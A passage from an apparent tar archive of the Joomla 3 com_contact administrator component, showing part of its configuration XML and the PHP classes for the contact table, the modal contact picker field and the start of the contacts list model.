			label="JGLOBAL_FIELD_LAYOUT_LABEL"
			description="JGLOBAL_FIELD_LAYOUT_DESC"
			menuitems="true"
			extension="com_contact"
			view="category"
		/>

		<field
			name="show_category_title"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_TITLE"
			description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_description"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_description_image"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="maxLevel"
			type="list"
			label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
			description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
			default="-1"
			>
			<option value="-1">JALL</option>
			<option value="0">JNONE</option>
			<option value="1">J1</option>
			<option value="2">J2</option>
			<option value="3">J3</option>
			<option value="4">J4</option>
			<option value="5">J5</option>
		</field>

		<field
			name="show_subcat_desc"
			type="radio"
			label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="maxLevel:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_empty_categories"
			type="radio"
			label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
			description="COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="maxLevel:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_cat_items"
			type="radio"
			label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
			description="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_cat_tags"
			type="radio"
			label="COM_CONTACT_FIELD_SHOW_CAT_TAGS_LABEL"
			description="COM_CONTACT_FIELD_SHOW_CAT_TAGS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>
	</fieldset>

	<fieldset
		name="categories"
		label="JCATEGORIES"
		description="COM_CONTACT_FIELD_CONFIG_CATEGORIES_DESC"
		>

		<field
			name="show_base_description"
			type="radio"
			label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
			description="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="maxLevelcat"
			type="list"
			label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
			description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
			default="-1"
			>
			<option value="-1">JALL</option>
			<option value="0">JNONE</option>
			<option value="1">J1</option>
			<option value="2">J2</option>
			<option value="3">J3</option>
			<option value="4">J4</option>
			<option value="5">J5</option>
		</field>

		<field
			name="show_subcat_desc_cat"
			type="radio"
			label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="maxLevelcat:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_empty_categories_cat"
			type="radio"
			label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
			description="COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="maxLevelcat:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_cat_items_cat"
			type="radio"
			label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
			description="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

	</fieldset>

	<fieldset
		name="contacts"
		label="JGLOBAL_LIST_LAYOUT_OPTIONS"
		description="COM_CONTACT_FIELD_CONFIG_TABLE_OF_CONTACTS_DESC"
		>

		<field
			name="filter_field"
			type="radio"
			label="JGLOBAL_FILTER_FIELD_LABEL"
			description="JGLOBAL_FILTER_FIELD_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_pagination_limit"
			type="radio"
			label="JGLOBAL_DISPLAY_SELECT_LABEL"
			description="JGLOBAL_DISPLAY_SELECT_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_headings"
			type="radio"
			label="JGLOBAL_SHOW_HEADINGS_LABEL"
			description="JGLOBAL_SHOW_HEADINGS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_image_heading"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_SHOW_IMAGE_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_SHOW_IMAGE_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_position_headings"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_POSITION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_headings:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_email_headings"
			type="radio"
			label="JGLOBAL_EMAIL"
			description="COM_CONTACT_FIELD_CONFIG_EMAIL_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_headings:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_telephone_headings"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_PHONE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_headings:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_mobile_headings"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_MOBILE_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_headings:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_fax_headings"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_FAX_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_headings:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_suburb_headings"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_SUBURB_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_headings:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_state_headings"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_STATE_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_headings:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_country_headings"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_headings:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_pagination"
			type="list"
			label="JGLOBAL_PAGINATION_LABEL"
			description="JGLOBAL_PAGINATION_DESC"
			default="2"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
			<option value="2">JGLOBAL_AUTO</option>
		</field>

		<field
			name="show_pagination_results"
			type="radio"
			label="JGLOBAL_PAGINATION_RESULTS_LABEL"
			description="JGLOBAL_PAGINATION_RESULTS_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_pagination:1,2"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="initial_sort"
			type="list"
			label="COM_CONTACT_FIELD_INITIAL_SORT_LABEL"
			description="COM_CONTACT_FIELD_INITIAL_SORT_DESC"
			default="ordering"
			validate="options"
			>
			<option value="name">COM_CONTACT_FIELD_VALUE_NAME</option>
			<option value="sortname">COM_CONTACT_FIELD_VALUE_SORT_NAME</option>
			<option value="ordering">COM_CONTACT_FIELD_VALUE_ORDERING</option>
		</field>

	</fieldset>

	<fieldset
		name="Contact_Form"
		label="COM_CONTACT_FIELD_CONFIG_CONTACT_FORM"
		description="COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC"
		>

		<field
			name="captcha"
			type="plugins"
			label="COM_CONTACT_FIELD_CAPTCHA_LABEL"
			description="COM_CONTACT_FIELD_CAPTCHA_DESC"
			folder="captcha"
			filter="cmd"
			useglobal="true"
			>
			<option value="0">JOPTION_DO_NOT_USE</option>
		</field>

		<field
			name="show_email_form"
			type="radio"
			label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
			description="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_email_copy"
			type="radio"
			label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
			description="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_email_form:1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="banned_email"
			type="textarea"
			label="COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_DESC"
			default=""
			rows="3"
			cols="30"
			showon="show_email_form:1"
		/>

		<field
			name="banned_subject"
			type="textarea"
			label="COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_DESC"
			default=""
			rows="3"
			cols="30"
			showon="show_email_form:1"
		/>

		<field
			name="banned_text"
			type="textarea"
			label="COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_DESC"
			default=""
			rows="3"
			cols="30"
			showon="show_email_form:1"
		/>

		<field
			name="validate_session"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			showon="show_email_form:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="custom_reply"
			type="radio"
			label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			showon="show_email_form:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="redirect"
			type="text"
			label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC"
			default=""
			size="30"
			showon="show_email_form:1"
		/>

	</fieldset>

	<fieldset
		name="integration"
		label="JGLOBAL_INTEGRATION_LABEL"
		description="COM_CONTACT_CONFIG_INTEGRATION_SETTINGS_DESC"
		>

		<field
			name="integration_newsfeeds"
			type="note"
			label="JGLOBAL_FEED_TITLE"
		/>

		<field
			name="show_feed_link"
			type="radio"
			label="JGLOBAL_SHOW_FEED_LINK_LABEL"
			description="JGLOBAL_SHOW_FEED_LINK_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="integration_sef"
			type="note"
			label="JGLOBAL_SEF_TITLE"
		/>

		<field
			name="sef_advanced"
			type="radio"
			class="btn-group btn-group-yesno btn-group-reversed"
			default="0"
			label="JGLOBAL_SEF_ADVANCED_LABEL"
			description="JGLOBAL_SEF_ADVANCED_DESC"
			filter="integer"
		>
			<option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
			<option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
		</field>

		<field
			name="sef_ids"
			type="radio"
			label="JGLOBAL_SEF_NOIDS_LABEL"
			description="JGLOBAL_SEF_NOIDS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			showon="sef_advanced:1"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="integration_customfields"
			type="note"
			label="JGLOBAL_FIELDS_TITLE"
		/>

		<field
			name="custom_fields_enable"
			type="radio"
			label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"
			description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			validate="rules"
			filter="rules"
			component="com_contact"
			section="component"
		/>

	</fieldset>
</config>
com_contact/tables/contact.php000060400000012555152455305310012462 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

/**
 * Contact Table class.
 *
 * @since  1.0
 */
class ContactTableContact extends JTable
{
	/**
	 * Ensure the params and metadata in json encoded in the bind method
	 *
	 * @var    array
	 * @since  3.3
	 */
	protected $_jsonEncode = array('params', 'metadata');

	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  Database connector object
	 *
	 * @since   1.0
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__contact_details', 'id', $db);

		$this->setColumnAlias('title', 'name');

		JTableObserverTags::createObserver($this, array('typeAlias' => 'com_contact.contact'));
		JTableObserverContenthistory::createObserver($this, array('typeAlias' => 'com_contact.contact'));
	}

	/**
	 * Stores a contact.
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function store($updateNulls = false)
	{
		// Transform the params field
		if (is_array($this->params))
		{
			$registry = new Registry($this->params);
			$this->params = (string) $registry;
		}

		$date   = JFactory::getDate()->toSql();
		$userId = JFactory::getUser()->id;

		$this->modified = $date;

		if ($this->id)
		{
			// Existing item
			$this->modified_by = $userId;
		}
		else
		{
			// New contact. A contact created and created_by field can be set by the user,
			// so we don't touch either of these if they are set.
			if (!(int) $this->created)
			{
				$this->created = $date;
			}

			if (empty($this->created_by))
			{
				$this->created_by = $userId;
			}
		}

		// Set publish_up to null date if not set
		if (!$this->publish_up)
		{
			$this->publish_up = $this->_db->getNullDate();
		}

		// Set publish_down to null date if not set
		if (!$this->publish_down)
		{
			$this->publish_down = $this->_db->getNullDate();
		}

		// Set xreference to empty string if not set
		if (!$this->xreference)
		{
			$this->xreference = '';
		}

		// Store utf8 email as punycode
		$this->email_to = JStringPunycode::emailToPunycode($this->email_to);

		// Convert IDN urls to punycode
		$this->webpage = JStringPunycode::urlToPunycode($this->webpage);

		// Verify that the alias is unique
		$table = JTable::getInstance('Contact', 'ContactTable', array('dbo' => $this->_db));

		if ($table->load(array('alias' => $this->alias, 'catid' => $this->catid)) && ($table->id != $this->id || $this->id == 0))
		{
			$this->setError(JText::_('COM_CONTACT_ERROR_UNIQUE_ALIAS'));

			return false;
		}

		return parent::store($updateNulls);
	}

	/**
	 * Overloaded check function
	 *
	 * @return  boolean  True on success, false on failure
	 *
	 * @see     JTable::check
	 * @since   1.5
	 */
	public function check()
	{
		$this->default_con = (int) $this->default_con;

		if (JFilterInput::checkAttribute(array('href', $this->webpage)))
		{
			$this->setError(JText::_('COM_CONTACT_WARNING_PROVIDE_VALID_URL'));

			return false;
		}

		// Check for valid name
		if (trim($this->name) == '')
		{
			$this->setError(JText::_('COM_CONTACT_WARNING_PROVIDE_VALID_NAME'));

			return false;
		}

		// Generate a valid alias
		$this->generateAlias();

		// Check for valid category
		if (trim($this->catid) == '')
		{
			$this->setError(JText::_('COM_CONTACT_WARNING_CATEGORY'));

			return false;
		}

		// Sanity check for user_id
		if (!$this->user_id)
		{
			$this->user_id = 0;
		}

		// Check the publish down date is not earlier than publish up.
		if ((int) $this->publish_down > 0 && $this->publish_down < $this->publish_up)
		{
			$this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH'));

			return false;
		}

		/*
		 * Clean up keywords -- eliminate extra spaces between phrases
		 * and cr (\r) and lf (\n) characters from string.
		 * Only process if not empty.
		 */
		if (!empty($this->metakey))
		{
			// Array of characters to remove.
			$badCharacters = array("\n", "\r", "\"", '<', '>');

			// Remove bad characters.
			$afterClean = StringHelper::str_ireplace($badCharacters, '', $this->metakey);

			// Create array using commas as delimiter.
			$keys = explode(',', $afterClean);
			$cleanKeys = array();

			foreach ($keys as $key)
			{
				// Ignore blank keywords.
				if (trim($key))
				{
					$cleanKeys[] = trim($key);
				}
			}

			// Put array back together delimited by ", "
			$this->metakey = implode(', ', $cleanKeys);
		}

		// Clean up description -- eliminate quotes and <> brackets
		if (!empty($this->metadesc))
		{
			// Only process if not empty
			$badCharacters = array("\"", '<', '>');
			$this->metadesc = StringHelper::str_ireplace($badCharacters, '', $this->metadesc);
		}

		return true;
	}

	/**
	 * Generate a valid alias from title / date.
	 * Remains public to be able to check for duplicated alias before saving
	 *
	 * @return  string
	 */
	public function generateAlias()
	{
		if (empty($this->alias))
		{
			$this->alias = $this->name;
		}

		$this->alias = JApplicationHelper::stringURLSafe($this->alias, $this->language);

		if (trim(str_replace('-', '', $this->alias)) == '')
		{
			$this->alias = JFactory::getDate()->format('Y-m-d-H-i-s');
		}

		return $this->alias;
	}
}
com_contact/models/fields/modal/contact.php000060400000023366152455305310015037 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * Supports a modal contact picker.
 *
 * @since  1.6
 */
class JFormFieldModal_Contact extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var     string
	 * @since   1.6
	 */
	protected $type = 'Modal_Contact';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		$allowNew       = ((string) $this->element['new'] == 'true');
		$allowEdit      = ((string) $this->element['edit'] == 'true');
		$allowClear     = ((string) $this->element['clear'] != 'false');
		$allowSelect    = ((string) $this->element['select'] != 'false');
		$allowPropagate = ((string) $this->element['propagate'] == 'true');

		$languages = LanguageHelper::getContentLanguages(array(0, 1));

		// Load language
		JFactory::getLanguage()->load('com_contact', JPATH_ADMINISTRATOR);

		// The active contact id field.
		$value = (int) $this->value > 0 ? (int) $this->value : '';

		// Create the modal id.
		$modalId = 'Contact_' . $this->id;

		// Add the modal field script to the document head.
		JHtml::_('jquery.framework');
		JHtml::_('script', 'system/modal-fields.js', array('version' => 'auto', 'relative' => true));

		// Script to proxy the select modal function to the modal-fields.js file.
		if ($allowSelect)
		{
			static $scriptSelect = null;

			if (is_null($scriptSelect))
			{
				$scriptSelect = array();
			}

			if (!isset($scriptSelect[$this->id]))
			{
				JFactory::getDocument()->addScriptDeclaration("
				function jSelectContact_" . $this->id . "(id, title, object) {
					window.processModalSelect('Contact', '" . $this->id . "', id, title, '', object);
				}
				");

				JText::script('JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED');

				$scriptSelect[$this->id] = true;
			}
		}

		// Setup variables for display.
		$linkContacts = 'index.php?option=com_contact&amp;view=contacts&amp;layout=modal&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1';
		$linkContact  = 'index.php?option=com_contact&amp;view=contact&amp;layout=modal&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1';
		$modalTitle   = JText::_('COM_CONTACT_CHANGE_CONTACT');

		if (isset($this->element['language']))
		{
			$linkContacts .= '&amp;forcedLanguage=' . $this->element['language'];
			$linkContact   .= '&amp;forcedLanguage=' . $this->element['language'];
			$modalTitle     .= ' &#8212; ' . $this->element['label'];
		}

		$urlSelect = $linkContacts . '&amp;function=jSelectContact_' . $this->id;
		$urlEdit   = $linkContact . '&amp;task=contact.edit&amp;id=\' + document.getElementById("' . $this->id . '_id").value + \'';
		$urlNew    = $linkContact . '&amp;task=contact.add';

		if ($value)
		{
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('name'))
				->from($db->quoteName('#__contact_details'))
				->where($db->quoteName('id') . ' = ' . (int) $value);
			$db->setQuery($query);

			try
			{
				$title = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());
			}
		}

		$title = empty($title) ? JText::_('COM_CONTACT_SELECT_A_CONTACT') : htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

		// The current contact display field.
		$html  = '<span class="input-append">';
		$html .= '<input class="input-medium" id="' . $this->id . '_name" type="text" value="' . $title . '" disabled="disabled" size="35" />';

		// Select contact button
		if ($allowSelect)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_select"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalSelect' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CONTACT_CHANGE_CONTACT') . '">'
				. '<span class="icon-file" aria-hidden="true"></span> ' . JText::_('JSELECT')
				. '</button>';
		}

		// New contact button
		if ($allowNew)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_new"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalNew' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CONTACT_NEW_CONTACT') . '">'
				. '<span class="icon-new" aria-hidden="true"></span> ' . JText::_('JACTION_CREATE')
				. '</button>';
		}

		// Edit contact button
		if ($allowEdit)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_edit"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalEdit' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CONTACT_EDIT_CONTACT') . '">'
				. '<span class="icon-edit" aria-hidden="true"></span> ' . JText::_('JACTION_EDIT')
				. '</button>';
		}

		// Clear contact button
		if ($allowClear)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_clear"'
				. ' onclick="window.processModalParent(\'' . $this->id . '\'); return false;">'
				. '<span class="icon-remove" aria-hidden="true"></span>' . JText::_('JCLEAR')
				. '</button>';
		}

		// Propagate contact button
		if ($allowPropagate && count($languages) > 2)
		{
			// Strip off language tag at the end
			$tagLength = (int) strlen($this->element['language']);
			$callbackFunctionStem = substr("jSelectContact_" . $this->id, 0, -$tagLength);

			$html .= '<a'
			. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
			. ' id="' . $this->id . '_propagate"'
			. ' href="#"'
			. ' title="' . JHtml::tooltipText('JGLOBAL_ASSOCIATIONS_PROPAGATE_TIP') . '"'
			. ' onclick="Joomla.propagateAssociation(\'' . $this->id . '\', \'' . $callbackFunctionStem . '\');">'
			. '<span class="icon-refresh" aria-hidden="true"></span>' . JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_BUTTON')
			. '</a>';
		}

		$html .= '</span>';

		// Select contact modal
		if ($allowSelect)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalSelect' . $modalId,
				array(
					'title'       => $modalTitle,
					'url'         => $urlSelect,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn" data-dismiss="modal">' . JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>',
				)
			);
		}

		// New contact modal
		if ($allowNew)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalNew' . $modalId,
				array(
					'title'       => JText::_('COM_CONTACT_NEW_CONTACT'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlNew,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'add\', \'contact\', \'cancel\', \'contact-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'add\', \'contact\', \'save\', \'contact-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'add\', \'contact\', \'apply\', \'contact-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Edit contact modal.
		if ($allowEdit)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalEdit' . $modalId,
				array(
					'title'       => JText::_('COM_CONTACT_EDIT_CONTACT'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlEdit,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id
							. '\', \'edit\', \'contact\', \'cancel\', \'contact-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'edit\', \'contact\', \'save\', \'contact-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \''
							. $this->id . '\', \'edit\', \'contact\', \'apply\', \'contact-form\', \'jform_id\', \'jform_name\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Note: class='required' for client side validation.
		$class = $this->required ? ' class="required modal-value"' : '';

		$html .= '<input type="hidden" id="' . $this->id . '_id"' . $class . ' data-required="' . (int) $this->required . '" name="' . $this->name
			. '" data-text="' . htmlspecialchars(JText::_('COM_CONTACT_SELECT_A_CONTACT', true), ENT_COMPAT, 'UTF-8') . '" value="' . $value . '" />';

		return $html;
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.4
	 */
	protected function getLabel()
	{
		return str_replace($this->id, $this->id . '_id', parent::getLabel());
	}
}
com_contact/models/forms/fields/mail.xml000060400000000353152455305310014360 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" label="COM_FIELDS_FIELD_BASIC_LABEL">
		<fieldset name="basic">
			<field
				name="display"
				type="hidden"
				default="2"
			/>
		</fieldset>
	</fields>
</form>
com_contact/models/contacts.php000060400000023723152455305310012655 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Methods supporting a list of contact records.
 *
 * @since  1.6
 */
class ContactModelContacts extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
